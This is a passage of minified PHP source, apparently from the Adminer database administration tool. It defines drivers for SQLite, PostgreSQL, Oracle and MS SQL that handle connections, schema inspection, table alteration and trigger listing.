array("Statement"=>"BEGIN\n\t;\nEND");preg_match('~^CREATE\\s+TRIGGER\\s*(?:[^`"\\s]+|`[^`]*`|"[^"]*")+\\s*(BEFORE|AFTER|INSTEAD\\s+OF)\\s+([a-z]+)\\s+ON\\s*(?:[^`"\\s]+|`[^`]*`|"[^"]*")+\\s*(?:FOR\\s*EACH\\s*ROW\\s)?(.*)~is',$g->result("SELECT sql FROM sqlite_master WHERE type = 'trigger' AND name = ".q($C)),$B);return
array("Timing"=>strtoupper($B[1]),"Event"=>strtoupper($B[2]),"Trigger"=>$C,"Statement"=>$B[3]);}function
triggers($Q){$J=array();foreach(get_rows("SELECT * FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($Q))as$K){preg_match('~^CREATE\\s+TRIGGER\\s*(?:[^`"\\s]+|`[^`]*`|"[^"]*")+\\s*([a-z]+)\\s*([a-z]+)~i',$K["sql"],$B);$J[$K["name"]]=array($B[1],$B[2]);}return$J;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER","INSTEAD OF"),"Type"=>array("FOR EACH ROW"),);}function
routine($C,$U){}function
routines(){}function
routine_languages(){}function
begin(){return
queries("BEGIN");}function
last_id(){global$g;return$g->result("SELECT LAST_INSERT_ROWID()");}function
explain($g,$H){return$g->query("EXPLAIN $H");}function
found_rows($R,$Z){}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($eg){return
true;}function
create_sql($Q,$Ja){global$g;$J=$g->result("SELECT sql FROM sqlite_master WHERE type IN ('table', 'view') AND name = ".q($Q));foreach(indexes($Q)as$C=>$u){if($C=='')continue;$J.=";\n\n".index_sql($Q,$u['type'],$C,"(".implode(", ",array_map('idf_escape',$u['columns'])).")");}return$J;}function
truncate_sql($Q){return"DELETE FROM ".table($Q);}function
use_sql($Cb){}function
trigger_sql($Q,$Ag){return
implode(get_vals("SELECT sql || ';;\n' FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($Q)));}function
show_variables(){global$g;$J=array();foreach(array("auto_vacuum","cache_size","count_changes","default_cache_size","empty_result_callbacks","encoding","foreign_keys","full_column_names","fullfsync","journal_mode","journal_size_limit","legacy_file_format","locking_mode","page_size","max_page_count","read_uncommitted","recursive_triggers","reverse_unordered_selects","secure_delete","short_column_names","synchronous","temp_store","temp_store_directory","schema_version","integrity_check","quick_check")as$x)$J[$x]=$g->result("PRAGMA $x");return$J;}function
show_status(){$J=array();foreach(get_vals("PRAGMA compile_options")as$Je){list($x,$X)=explode("=",$Je,2);$J[$x]=$X;}return$J;}function
convert_field($n){}function
unconvert_field($n,$J){return$J;}function
support($Bc){return
preg_match('~^(columns|database|drop_col|dump|indexes|move_col|sql|status|table|trigger|variables|view|view_trigger)$~',$Bc);}$w="sqlite";$rh=array("integer"=>0,"real"=>0,"numeric"=>0,"text"=>0,"blob"=>0);$_g=array_keys($rh);$yh=array();$He=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL","SQL");$Rc=array("hex","length","lower","round","unixepoch","upper");$Wc=array("avg","count","count distinct","group_concat","max","min","sum");$ac=array(array(),array("integer|real|numeric"=>"+/-","text"=>"||",));}$Sb["pgsql"]="PostgreSQL";if(isset($_GET["pgsql"])){$pf=array("PgSQL","PDO_PgSQL");define("DRIVER","pgsql");if(extension_loaded("pgsql")){class
Min_DB{var$extension="PgSQL",$_link,$_result,$_string,$_database=true,$server_info,$affected_rows,$error;function
_error($lc,$m){if(ini_bool("html_errors"))$m=html_entity_decode(strip_tags($m));$m=preg_replace('~^[^:]*: ~','',$m);$this->error=$m;}function
connect($N,$V,$G){global$b;$k=$b->database();set_error_handler(array($this,'_error'));$this->_string="host='".str_replace(":","' port='",addcslashes($N,"'\\"))."' user='".addcslashes($V,"'\\")."' password='".addcslashes($G,"'\\")."'";$this->_link=@pg_connect("$this->_string dbname='".($k!=""?addcslashes($k,"'\\"):"postgres")."'",PGSQL_CONNECT_FORCE_NEW);if(!$this->_link&&$k!=""){$this->_database=false;$this->_link=@pg_connect("$this->_string dbname='postgres'",PGSQL_CONNECT_FORCE_NEW);}restore_error_handler();if($this->_link){$Kh=pg_version($this->_link);$this->server_info=$Kh["server"];pg_set_client_encoding($this->_link,"UTF8");}return(bool)$this->_link;}function
quote($P){return"'".pg_escape_string($this->_link,$P)."'";}function
select_db($Cb){global$b;if($Cb==$b->database())return$this->_database;$J=@pg_connect("$this->_string dbname='".addcslashes($Cb,"'\\")."'",PGSQL_CONNECT_FORCE_NEW);if($J)$this->_link=$J;return$J;}function
close(){$this->_link=@pg_connect("$this->_string dbname='postgres'");}function
query($H,$sh=false){$I=@pg_query($this->_link,$H);$this->error="";if(!$I){$this->error=pg_last_error($this->_link);return
false;}elseif(!pg_num_fields($I)){$this->affected_rows=pg_affected_rows($I);return
true;}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($H,$n=0){$I=$this->query($H);if(!$I||!$I->num_rows)return
false;return
pg_fetch_result($I->_result,0,$n);}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
Min_Result($I){$this->_result=$I;$this->num_rows=pg_num_rows($I);}function
fetch_assoc(){return
pg_fetch_assoc($this->_result);}function
fetch_row(){return
pg_fetch_row($this->_result);}function
fetch_field(){$e=$this->_offset++;$J=new
stdClass;if(function_exists('pg_field_table'))$J->orgtable=pg_field_table($this->_result,$e);$J->name=pg_field_name($this->_result,$e);$J->orgname=$J->name;$J->type=pg_field_type($this->_result,$e);$J->charsetnr=($J->type=="bytea"?63:0);return$J;}function
__destruct(){pg_free_result($this->_result);}}}elseif(extension_loaded("pdo_pgsql")){class
Min_DB
extends
Min_PDO{var$extension="PDO_PgSQL";function
connect($N,$V,$G){global$b;$k=$b->database();$P="pgsql:host='".str_replace(":","' port='",addcslashes($N,"'\\"))."' options='-c client_encoding=utf8'";$this->dsn("$P dbname='".($k!=""?addcslashes($k,"'\\"):"postgres")."'",$V,$G);return
true;}function
select_db($Cb){global$b;return($b->database()==$Cb);}function
close(){}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($Q,$L,$sf){global$g;foreach($L
as$O){$zh=array();$Z=array();foreach($O
as$x=>$X){$zh[]="$x = $X";if(isset($sf[idf_unescape($x)]))$Z[]="$x = $X";}if(!(($Z&&queries("UPDATE ".table($Q)." SET ".implode(", ",$zh)." WHERE ".implode(" AND ",$Z))&&$g->affected_rows)||queries("INSERT INTO ".table($Q)." (".implode(", ",array_keys($O)).") VALUES (".implode(", ",$O).")")))return
false;}return
true;}}function
idf_escape($t){return'"'.str_replace('"','""',$t).'"';}function
table($t){return
idf_escape($t);}function
connect(){global$b;$g=new
Min_DB;$i=$b->credentials();if($g->connect($i[0],$i[1],$i[2])){if($g->server_info>=9)$g->query("SET application_name = 'Adminer'");return$g;}return$g->error;}function
get_databases(){return
get_vals("SELECT datname FROM pg_database ORDER BY datname");}function
limit($H,$Z,$z,$D=0,$kg=" "){return" $H$Z".($z!==null?$kg."LIMIT $z".($D?" OFFSET $D":""):"");}function
limit1($H,$Z){return" $H$Z";}function
db_collation($k,$ib){global$g;return$g->result("SHOW LC_COLLATE");}function
engines(){return
array();}function
logged_user(){global$g;return$g->result("SELECT user");}function
tables_list(){return
get_key_vals("SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = current_schema() ORDER BY table_name");}function
count_tables($j){return
array();}function
table_status($C=""){$J=array();foreach(get_rows("SELECT relname AS \"Name\", CASE relkind WHEN 'r' THEN 'table' ELSE 'view' END AS \"Engine\", pg_relation_size(oid) AS \"Data_length\", pg_total_relation_size(oid) - pg_relation_size(oid) AS \"Index_length\", obj_description(oid, 'pg_class') AS \"Comment\", relhasoids::int AS \"Oid\", reltuples as \"Rows\"
FROM pg_class
WHERE relkind IN ('r','v')
AND relnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema())
".($C!=""?"AND relname = ".q($C):"ORDER BY relname"))as$K)$J[$K["Name"]]=$K;return($C!=""?$J[$C]:$J);}function
is_view($R){return$R["Engine"]=="view";}function
fk_support($R){return
true;}function
fields($Q){$J=array();$Aa=array('timestamp without time zone'=>'timestamp','timestamp with time zone'=>'timestamptz',);foreach(get_rows("SELECT a.attname AS field, format_type(a.atttypid, a.atttypmod) AS full_type, d.adsrc AS default, a.attnotnull::int, col_description(c.oid, a.attnum) AS comment
FROM pg_class c
JOIN pg_namespace n ON c.relnamespace = n.oid
JOIN pg_attribute a ON c.oid = a.attrelid
LEFT JOIN pg_attrdef d ON c.oid = d.adrelid AND a.attnum = d.adnum
WHERE c.relname = ".q($Q)."
AND n.nspname = current_schema()
AND NOT a.attisdropped
AND a.attnum > 0
ORDER BY a.attnum")as$K){preg_match('~([^([]+)(\((.*)\))?((\[[0-9]*])*)$~',$K["full_type"],$B);list(,$U,$y,$K["length"],$Da)=$B;$K["length"].=$Da;$K["type"]=($Aa[$U]?$Aa[$U]:$U);$K["full_type"]=$K["type"].$y.$Da;$K["null"]=!$K["attnotnull"];$K["auto_increment"]=preg_match('~^nextval\\(~i',$K["default"]);$K["privileges"]=array("insert"=>1,"select"=>1,"update"=>1);if(preg_match('~(.+)::[^)]+(.*)~',$K["default"],$B))$K["default"]=($B[1][0]=="'"?idf_unescape($B[1]):$B[1]).$B[2];$J[$K["field"]]=$K;}return$J;}function
indexes($Q,$h=null){global$g;if(!is_object($h))$h=$g;$J=array();$Ig=$h->result("SELECT oid FROM pg_class WHERE relnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema()) AND relname = ".q($Q));$f=get_key_vals("SELECT attnum, attname FROM pg_attribute WHERE attrelid = $Ig AND attnum > 0",$h);foreach(get_rows("SELECT relname, indisunique::int, indisprimary::int, indkey, indoption FROM pg_index i, pg_class ci WHERE i.indrelid = $Ig AND ci.oid = i.indexrelid",$h)as$K){$Of=$K["relname"];$J[$Of]["type"]=($K["indisprimary"]?"PRIMARY":($K["indisunique"]?"UNIQUE":"INDEX"));$J[$Of]["columns"]=array();foreach(explode(" ",$K["indkey"])as$md)$J[$Of]["columns"][]=$f[$md];$J[$Of]["descs"]=array();foreach(explode(" ",$K["indoption"])as$nd)$J[$Of]["descs"][]=($nd&1?'1':null);$J[$Of]["lengths"]=array();}return$J;}function
foreign_keys($Q){global$De;$J=array();foreach(get_rows("SELECT conname, pg_get_constraintdef(oid) AS definition
FROM pg_constraint
WHERE conrelid = (SELECT pc.oid FROM pg_class AS pc INNER JOIN pg_namespace AS pn ON (pn.oid = pc.relnamespace) WHERE pc.relname = ".q($Q)." AND pn.nspname = current_schema())
AND contype = 'f'::char
ORDER BY conkey, conname")as$K){if(preg_match('~FOREIGN KEY\s*\((.+)\)\s*REFERENCES (.+)\((.+)\)(.*)$~iA',$K['definition'],$B)){$K['source']=array_map('trim',explode(',',$B[1]));if(preg_match('~^(("([^"]|"")+"|[^"]+)\.)?"?("([^"]|"")+"|[^"]+)$~',$B[2],$Vd)){$K['ns']=str_replace('""','"',preg_replace('~^"(.+)"$~','\1',$Vd[2]));$K['table']=str_replace('""','"',preg_replace('~^"(.+)"$~','\1',$Vd[4]));}$K['target']=array_map('trim',explode(',',$B[3]));$K['on_delete']=(preg_match("~ON DELETE ($De)~",$B[4],$Vd)?$Vd[1]:'NO ACTION');$K['on_update']=(preg_match("~ON UPDATE ($De)~",$B[4],$Vd)?$Vd[1]:'NO ACTION');$J[$K['conname']]=$K;}}return$J;}function
view($C){global$g;return
array("select"=>$g->result("SELECT pg_get_viewdef(".q($C).")"));}function
collations(){return
array();}function
information_schema($k){return($k=="information_schema");}function
error(){global$g;$J=h($g->error);if(preg_match('~^(.*\\n)?([^\\n]*)\\n( *)\\^(\\n.*)?$~s',$J,$B))$J=$B[1].preg_replace('~((?:[^&]|&[^;]*;){'.strlen($B[3]).'})(.*)~','\\1<b>\\2</b>',$B[2]).$B[4];return
nl_br($J);}function
create_database($k,$d){return
queries("CREATE DATABASE ".idf_escape($k).($d?" ENCODING ".idf_escape($d):""));}function
drop_databases($j){global$g;$g->close();return
apply_queries("DROP DATABASE",$j,'idf_escape');}function
rename_database($C,$d){return
queries("ALTER DATABASE ".idf_escape(DB)." RENAME TO ".idf_escape($C));}function
auto_increment(){return"";}function
alter_table($Q,$C,$o,$Ic,$mb,$ic,$d,$Ja,$df){$c=array();$Bf=array();foreach($o
as$n){$e=idf_escape($n[0]);$X=$n[1];if(!$X)$c[]="DROP $e";else{$Gh=$X[5];unset($X[5]);if(isset($X[6])&&$n[0]=="")$X[1]=($X[1]=="bigint"?" big":" ")."serial";if($n[0]=="")$c[]=($Q!=""?"ADD ":" ").implode($X);else{if($e!=$X[0])$Bf[]="ALTER TABLE ".table($Q)." RENAME $e TO $X[0]";$c[]="ALTER $e TYPE$X[1]";if(!$X[6]){$c[]="ALTER $e ".($X[3]?"SET$X[3]":"DROP DEFAULT");$c[]="ALTER $e ".($X[2]==" NULL"?"DROP NOT":"SET").$X[2];}}if($n[0]!=""||$Gh!="")$Bf[]="COMMENT ON COLUMN ".table($Q).".$X[0] IS ".($Gh!=""?substr($Gh,9):"''");}}$c=array_merge($c,$Ic);if($Q=="")array_unshift($Bf,"CREATE TABLE ".table($C)." (\n".implode(",\n",$c)."\n)");elseif($c)array_unshift($Bf,"ALTER TABLE ".table($Q)."\n".implode(",\n",$c));if($Q!=""&&$Q!=$C)$Bf[]="ALTER TABLE ".table($Q)." RENAME TO ".table($C);if($Q!=""||$mb!="")$Bf[]="COMMENT ON TABLE ".table($C)." IS ".q($mb);if($Ja!=""){}foreach($Bf
as$H){if(!queries($H))return
false;}return
true;}function
alter_indexes($Q,$c){$xb=array();$Tb=array();$Bf=array();foreach($c
as$X){if($X[0]!="INDEX")$xb[]=($X[2]=="DROP"?"\nDROP CONSTRAINT ".idf_escape($X[1]):"\nADD".($X[1]!=""?" CONSTRAINT ".idf_escape($X[1]):"")." $X[0] ".($X[0]=="PRIMARY"?"KEY ":"")."(".implode(", ",$X[2]).")");elseif($X[2]=="DROP")$Tb[]=idf_escape($X[1]);else$Bf[]="CREATE INDEX ".idf_escape($X[1]!=""?$X[1]:uniqid($Q."_"))." ON ".table($Q)." (".implode(", ",$X[2]).")";}if($xb)array_unshift($Bf,"ALTER TABLE ".table($Q).implode(",",$xb));if($Tb)array_unshift($Bf,"DROP INDEX ".implode(", ",$Tb));foreach($Bf
as$H){if(!queries($H))return
false;}return
true;}function
truncate_tables($S){return
queries("TRUNCATE ".implode(", ",array_map('table',$S)));return
true;}function
drop_views($Mh){return
queries("DROP VIEW ".implode(", ",array_map('table',$Mh)));}function
drop_tables($S){return
queries("DROP TABLE ".implode(", ",array_map('table',$S)));}function
move_tables($S,$Mh,$Pg){foreach($S
as$Q){if(!queries("ALTER TABLE ".table($Q)." SET SCHEMA ".idf_escape($Pg)))return
false;}foreach($Mh
as$Q){if(!queries("ALTER VIEW ".table($Q)." SET SCHEMA ".idf_escape($Pg)))return
false;}return
true;}function
trigger($C){if($C=="")return
array("Statement"=>"EXECUTE PROCEDURE ()");$L=get_rows('SELECT trigger_name AS "Trigger", condition_timing AS "Timing", event_manipulation AS "Event", \'FOR EACH \' || action_orientation AS "Type", action_statement AS "Statement" FROM information_schema.triggers WHERE event_object_table = '.q($_GET["trigger"]).' AND trigger_name = '.q($C));return
reset($L);}function
triggers($Q){$J=array();foreach(get_rows("SELECT * FROM information_schema.triggers WHERE event_object_table = ".q($Q))as$K)$J[$K["trigger_name"]]=array($K["condition_timing"],$K["event_manipulation"]);return$J;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER"),"Type"=>array("FOR EACH ROW","FOR EACH STATEMENT"),);}function
routines(){return
get_rows('SELECT p.proname AS "ROUTINE_NAME", p.proargtypes AS "ROUTINE_TYPE", pg_catalog.format_type(p.prorettype, NULL) AS "DTD_IDENTIFIER"
FROM pg_catalog.pg_namespace n
JOIN pg_catalog.pg_proc p ON p.pronamespace = n.oid
WHERE n.nspname = current_schema()
ORDER BY p.proname');}function
routine_languages(){return
get_vals("SELECT langname FROM pg_catalog.pg_language");}function
last_id(){return
0;}function
explain($g,$H){return$g->query("EXPLAIN $H");}function
found_rows($R,$Z){global$g;if(preg_match("~ rows=([0-9]+)~",$g->result("EXPLAIN SELECT * FROM ".idf_escape($R["Name"]).($Z?" WHERE ".implode(" AND ",$Z):"")),$Nf))return$Nf[1];return
false;}function
types(){return
get_vals("SELECT typname
FROM pg_type
WHERE typnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema())
AND typtype IN ('b','d','e')
AND typelem = 0");}function
schemas(){return
get_vals("SELECT nspname FROM pg_namespace ORDER BY nspname");}function
get_schema(){global$g;return$g->result("SELECT current_schema()");}function
set_schema($dg){global$g,$rh,$_g;$J=$g->query("SET search_path TO ".idf_escape($dg));foreach(types()as$U){if(!isset($rh[$U])){$rh[$U]=0;$_g['Uživatelské typy'][]=$U;}}return$J;}function
use_sql($Cb){return"\connect ".idf_escape($Cb);}function
show_variables(){return
get_key_vals("SHOW ALL");}function
process_list(){global$g;return
get_rows("SELECT * FROM pg_stat_activity ORDER BY ".($g->server_info<9.2?"procpid":"pid"));}function
show_status(){}function
convert_field($n){}function
unconvert_field($n,$J){return$J;}function
support($Bc){return
preg_match('~^(database|table|columns|sql|indexes|comment|view|scheme|processlist|sequence|trigger|type|variables|drop_col)$~',$Bc);}$w="pgsql";$rh=array();$_g=array();foreach(array('Čísla'=>array("smallint"=>5,"integer"=>10,"bigint"=>19,"boolean"=>1,"numeric"=>0,"real"=>7,"double precision"=>16,"money"=>20),'Datum a čas'=>array("date"=>13,"time"=>17,"timestamp"=>20,"timestamptz"=>21,"interval"=>0),'Řetězce'=>array("character"=>0,"character varying"=>0,"text"=>0,"tsquery"=>0,"tsvector"=>0,"uuid"=>0,"xml"=>0),'Binární'=>array("bit"=>0,"bit varying"=>0,"bytea"=>0),'Síť'=>array("cidr"=>43,"inet"=>43,"macaddr"=>17,"txid_snapshot"=>0),'Geometrie'=>array("box"=>0,"circle"=>0,"line"=>0,"lseg"=>0,"path"=>0,"point"=>0,"polygon"=>0),)as$x=>$X){$rh+=$X;$_g[$x]=array_keys($X);}$yh=array();$He=array("=","<",">","<=",">=","!=","~","!~","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL");$Rc=array("char_length","lower","round","to_hex","to_timestamp","upper");$Wc=array("avg","count","count distinct","max","min","sum");$ac=array(array("char"=>"md5","date|time"=>"now",),array("int|numeric|real|money"=>"+/-","date|time"=>"+ interval/- interval","char|text"=>"||",));}$Sb["oracle"]="Oracle";if(isset($_GET["oracle"])){$pf=array("OCI8","PDO_OCI");define("DRIVER","oracle");if(extension_loaded("oci8")){class
Min_DB{var$extension="oci8",$_link,$_result,$server_info,$affected_rows,$errno,$error;function
_error($lc,$m){if(ini_bool("html_errors"))$m=html_entity_decode(strip_tags($m));$m=preg_replace('~^[^:]*: ~','',$m);$this->error=$m;}function
connect($N,$V,$G){$this->_link=@oci_new_connect($V,$G,$N,"AL32UTF8");if($this->_link){$this->server_info=oci_server_version($this->_link);return
true;}$m=oci_error();$this->error=$m["message"];return
false;}function
quote($P){return"'".str_replace("'","''",$P)."'";}function
select_db($Cb){return
true;}function
query($H,$sh=false){$I=oci_parse($this->_link,$H);$this->error="";if(!$I){$m=oci_error($this->_link);$this->errno=$m["code"];$this->error=$m["message"];return
false;}set_error_handler(array($this,'_error'));$J=@oci_execute($I);restore_error_handler();if($J){if(oci_num_fields($I))return
new
Min_Result($I);$this->affected_rows=oci_num_rows($I);}return$J;}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($H,$n=1){$I=$this->query($H);if(!is_object($I)||!oci_fetch($I->_result))return
false;return
oci_result($I->_result,$n);}}class
Min_Result{var$_result,$_offset=1,$num_rows;function
Min_Result($I){$this->_result=$I;}function
_convert($K){foreach((array)$K
as$x=>$X){if(is_a($X,'OCI-Lob'))$K[$x]=$X->load();}return$K;}function
fetch_assoc(){return$this->_convert(oci_fetch_assoc($this->_result));}function
fetch_row(){return$this->_convert(oci_fetch_row($this->_result));}function
fetch_field(){$e=$this->_offset++;$J=new
stdClass;$J->name=oci_field_name($this->_result,$e);$J->orgname=$J->name;$J->type=oci_field_type($this->_result,$e);$J->charsetnr=(preg_match("~raw|blob|bfile~",$J->type)?63:0);return$J;}function
__destruct(){oci_free_statement($this->_result);}}}elseif(extension_loaded("pdo_oci")){class
Min_DB
extends
Min_PDO{var$extension="PDO_OCI";function
connect($N,$V,$G){$this->dsn("oci:dbname=//$N;charset=AL32UTF8",$V,$G);return
true;}function
select_db($Cb){return
true;}}}class
Min_Driver
extends
Min_SQL{function
begin(){return
true;}}function
idf_escape($t){return'"'.str_replace('"','""',$t).'"';}function
table($t){return
idf_escape($t);}function
connect(){global$b;$g=new
Min_DB;$i=$b->credentials();if($g->connect($i[0],$i[1],$i[2]))return$g;return$g->error;}function
get_databases(){return
get_vals("SELECT tablespace_name FROM user_tablespaces");}function
limit($H,$Z,$z,$D=0,$kg=" "){return($D?" * FROM (SELECT t.*, rownum AS rnum FROM (SELECT $H$Z) t WHERE rownum <= ".($z+$D).") WHERE rnum > $D":($z!==null?" * FROM (SELECT $H$Z) WHERE rownum <= ".($z+$D):" $H$Z"));}function
limit1($H,$Z){return" $H$Z";}function
db_collation($k,$ib){global$g;return$g->result("SELECT value FROM nls_database_parameters WHERE parameter = 'NLS_CHARACTERSET'");}function
engines(){return
array();}function
logged_user(){global$g;return$g->result("SELECT USER FROM DUAL");}function
tables_list(){return
get_key_vals("SELECT table_name, 'table' FROM all_tables WHERE tablespace_name = ".q(DB)."
UNION SELECT view_name, 'view' FROM user_views
ORDER BY 1");}function
count_tables($j){return
array();}function
table_status($C=""){$J=array();$fg=q($C);foreach(get_rows('SELECT table_name "Name", \'table\' "Engine", avg_row_len * num_rows "Data_length", num_rows "Rows" FROM all_tables WHERE tablespace_name = '.q(DB).($C!=""?" AND table_name = $fg":"")."
UNION SELECT view_name, 'view', 0, 0 FROM user_views".($C!=""?" WHERE view_name = $fg":"")."
ORDER BY 1")as$K){if($C!="")return$K;$J[$K["Name"]]=$K;}return$J;}function
is_view($R){return$R["Engine"]=="view";}function
fk_support($R){return
true;}function
fields($Q){$J=array();foreach(get_rows("SELECT * FROM all_tab_columns WHERE table_name = ".q($Q)." ORDER BY column_id")as$K){$U=$K["DATA_TYPE"];$y="$K[DATA_PRECISION],$K[DATA_SCALE]";if($y==",")$y=$K["DATA_LENGTH"];$J[$K["COLUMN_NAME"]]=array("field"=>$K["COLUMN_NAME"],"full_type"=>$U.($y?"($y)":""),"type"=>strtolower($U),"length"=>$y,"default"=>$K["DATA_DEFAULT"],"null"=>($K["NULLABLE"]=="Y"),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),);}return$J;}function
indexes($Q,$h=null){$J=array();foreach(get_rows("SELECT uic.*, uc.constraint_type
FROM user_ind_columns uic
LEFT JOIN user_constraints uc ON uic.index_name = uc.constraint_name AND uic.table_name = uc.table_name
WHERE uic.table_name = ".q($Q)."
ORDER BY uc.constraint_type, uic.column_position",$h)as$K){$kd=$K["INDEX_NAME"];$J[$kd]["type"]=($K["CONSTRAINT_TYPE"]=="P"?"PRIMARY":($K["CONSTRAINT_TYPE"]=="U"?"UNIQUE":"INDEX"));$J[$kd]["columns"][]=$K["COLUMN_NAME"];$J[$kd]["lengths"][]=($K["CHAR_LENGTH"]&&$K["CHAR_LENGTH"]!=$K["COLUMN_LENGTH"]?$K["CHAR_LENGTH"]:null);$J[$kd]["descs"][]=($K["DESCEND"]?'1':null);}return$J;}function
view($C){$L=get_rows('SELECT text "select" FROM user_views WHERE view_name = '.q($C));return
reset($L);}function
collations(){return
array();}function
information_schema($k){return
false;}function
error(){global$g;return
h($g->error);}function
explain($g,$H){$g->query("EXPLAIN PLAN FOR $H");return$g->query("SELECT * FROM plan_table");}function
found_rows($R,$Z){}function
alter_table($Q,$C,$o,$Ic,$mb,$ic,$d,$Ja,$df){$c=$Tb=array();foreach($o
as$n){$X=$n[1];if($X&&$n[0]!=""&&idf_escape($n[0])!=$X[0])queries("ALTER TABLE ".table($Q)." RENAME COLUMN ".idf_escape($n[0])." TO $X[0]");if($X)$c[]=($Q!=""?($n[0]!=""?"MODIFY (":"ADD ("):" ").implode($X).($Q!=""?")":"");else$Tb[]=idf_escape($n[0]);}if($Q=="")return
queries("CREATE TABLE ".table($C)." (\n".implode(",\n",$c)."\n)");return(!$c||queries("ALTER TABLE ".table($Q)."\n".implode("\n",$c)))&&(!$Tb||queries("ALTER TABLE ".table($Q)." DROP (".implode(", ",$Tb).")"))&&($Q==$C||queries("ALTER TABLE ".table($Q)." RENAME TO ".table($C)));}function
foreign_keys($Q){return
array();}function
truncate_tables($S){return
apply_queries("TRUNCATE TABLE",$S);}function
drop_views($Mh){return
apply_queries("DROP VIEW",$Mh);}function
drop_tables($S){return
apply_queries("DROP TABLE",$S);}function
last_id(){return
0;}function
schemas(){return
get_vals("SELECT DISTINCT owner FROM dba_segments WHERE owner IN (SELECT username FROM dba_users WHERE default_tablespace NOT IN ('SYSTEM','SYSAUX'))");}function
get_schema(){global$g;return$g->result("SELECT sys_context('USERENV', 'SESSION_USER') FROM dual");}function
set_schema($eg){global$g;return$g->query("ALTER SESSION SET CURRENT_SCHEMA = ".idf_escape($eg));}function
show_variables(){return
get_key_vals('SELECT name, display_value FROM v$parameter');}function
process_list(){return
get_rows('SELECT sess.process AS "process", sess.username AS "user", sess.schemaname AS "schema", sess.status AS "status", sess.wait_class AS "wait_class", sess.seconds_in_wait AS "seconds_in_wait", sql.sql_text AS "sql_text", sess.machine AS "machine", sess.port AS "port"
FROM v$session sess LEFT OUTER JOIN v$sql sql
ON sql.sql_id = sess.sql_id
WHERE sess.type = \'USER\'
ORDER BY PROCESS
');}function
show_status(){$L=get_rows('SELECT * FROM v$instance');return
reset($L);}function
convert_field($n){}function
unconvert_field($n,$J){return$J;}function
support($Bc){return
preg_match('~^(columns|database|drop_col|indexes|processlist|scheme|sql|status|table|variables|view|view_trigger)$~',$Bc);}$w="oracle";$rh=array();$_g=array();foreach(array('Čísla'=>array("number"=>38,"binary_float"=>12,"binary_double"=>21),'Datum a čas'=>array("date"=>10,"timestamp"=>29,"interval year"=>12,"interval day"=>28),'Řetězce'=>array("char"=>2000,"varchar2"=>4000,"nchar"=>2000,"nvarchar2"=>4000,"clob"=>4294967295,"nclob"=>4294967295),'Binární'=>array("raw"=>2000,"long raw"=>2147483648,"blob"=>4294967295,"bfile"=>4294967296),)as$x=>$X){$rh+=$X;$_g[$x]=array_keys($X);}$yh=array();$He=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL");$Rc=array("length","lower","round","upper");$Wc=array("avg","count","count distinct","max","min","sum");$ac=array(array("date"=>"current_date","timestamp"=>"current_timestamp",),array("number|float|double"=>"+/-","date|timestamp"=>"+ interval/- interval","char|clob"=>"||",));}$Sb["mssql"]="MS SQL";if(isset($_GET["mssql"])){$pf=array("SQLSRV","MSSQL");define("DRIVER","mssql");if(extension_loaded("sqlsrv")){class
Min_DB{var$extension="sqlsrv",$_link,$_result,$server_info,$affected_rows,$errno,$error;function
_get_error(){$this->error="";foreach(sqlsrv_errors()as$m){$this->errno=$m["code"];$this->error.="$m[message]\n";}$this->error=rtrim($this->error);}function
connect($N,$V,$G){$this->_link=@sqlsrv_connect($N,array("UID"=>$V,"PWD"=>$G,"CharacterSet"=>"UTF-8"));if($this->_link){$od=sqlsrv_server_info($this->_link);$this->server_info=$od['SQLServerVersion'];}else$this->_get_error();return(bool)$this->_link;}function
quote($P){return"'".str_replace("'","''",$P)."'";}function
select_db($Cb){return$this->query("USE ".idf_escape($Cb));}function
query($H,$sh=false){$I=sqlsrv_query($this->_link,$H);$this->error="";if(!$I){$this->_get_error();return
false;}return$this->store_result($I);}function
multi_query($H){$this->_result=sqlsrv_query($this->_link,$H);$this->error="";if(!$this->_result){$this->_get_error();return
false;}return
true;}function
store_result($I=null){if(!$I)$I=$this->_result;if(sqlsrv_field_metadata($I))return
new
Min_Result($I);$this->affected_rows=sqlsrv_rows_affected($I);return
true;}function
next_result(){return
sqlsrv_next_result($this->_result);}function
result($H,$n=0){$I=$this->query($H);if(!is_object($I))return
false;$K=$I->fetch_row();return$K[$n];}}class
Min_Result{var$_result,$_offset=0,$_fields,$num_rows;function
Min_Result($I){$this->_result=$I;}function
_convert($K){foreach((array)$K
as$x=>$X){if(is_a($X,'DateTime'))$K[$x]=$X->format("Y-m-d H:i:s");}return$K;}function
fetch_assoc(){return$this->_convert(sqlsrv_fetch_array($this->_result,SQLSRV_FETCH_ASSOC,SQLSRV_SCROLL_NEXT));}function
fetch_row(){return$this->_convert(sqlsrv_fetch_array($this->_result,SQLSRV_FETCH_NUMERIC,SQLSRV_SCROLL_NEXT));}function
fetch_field(){if(!$this->_fields)$this->_fields=sqlsrv_field_metadata($this->_result);$n=$this->_fields[$this->_offset++];$J=new
stdClass;$J->name=$n["Name"];$J->orgname=$n["Name"];$J->type=($n["Type"]==1?254:0);return$J;}function
seek($D){for($r=0;$r<$D;$r++)sqlsrv_fetch($this->_result);}function
__destruct(){sqlsrv_free_stmt($this->_result);}}}elseif(extension_loaded("mssql")){class
Min_DB{var$extension="MSSQL",$_link,$_result,$server_info,$affected_rows,$error;function
